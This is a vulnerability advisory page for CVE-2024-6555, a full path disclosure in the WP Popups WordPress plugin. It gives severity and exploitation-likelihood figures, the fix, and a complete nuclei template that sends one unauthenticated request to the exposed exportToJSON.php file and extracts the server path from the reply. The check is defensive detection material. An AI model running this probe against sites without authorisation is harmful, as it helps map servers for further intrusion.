HexBrain

Browse / CVEs / CVE-2024-6555

CVE-2024-6555

WP Popups - Information Disclosure

mediumseverity
5.3CVSS score
0.9%likelihood of exploitation, next 30 days
61%of all CVEs are less likely
Readycheck to confirm it

WP Popups - WordPress Popup builder plugin for WordPress contains a full path disclosure caused by using mobiledetect without access restrictions, letting unauthenticated attackers retrieve server paths, exploit requires no specific conditions.

Impact

Attackers can obtain server file paths, aiding in further exploitation of the website.

Fix

Update to version 2.2.0.2 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php
Positive when: matches //[a-zA-Z0-9_\-/]+/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mob…/ AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-6555 -u <target>

The full check
id: CVE-2024-6555

info:
  name: WP Popups - Information Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WP Popups - WordPress Popup builder plugin for WordPress contains a full path disclosure caused by using mobiledetect without access restrictions, letting unauthenticated attackers retrieve server paths, exploit requires no specific conditions.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  remediation: |
    Update to version 2.2.0.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-popups-lite/wp-popups-wordpress-popup-builder-2201-unauthenticated-full-path-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6555
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3115849%40wp-popups-lite&new=3115849%40wp-popups-lite&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/578892f2-9841-4493-8445-61b79feb4764?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6555
    epss-score: 0.00919
    epss-percentile: 0.60557
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/wp-popups-lite/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,wp-popups-lite,fpd,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '/[a-zA-Z0-9_\-/]+/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/Mobile_Detect\.json'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "Done. Check (/.+?/wp-content/plugins/wp-popups-lite/src/vendor/mobiledetect/mobiledetectlib/Mobile_Detect.json) file."

References

Use this check only on systems you are authorised to test. Where the data comes from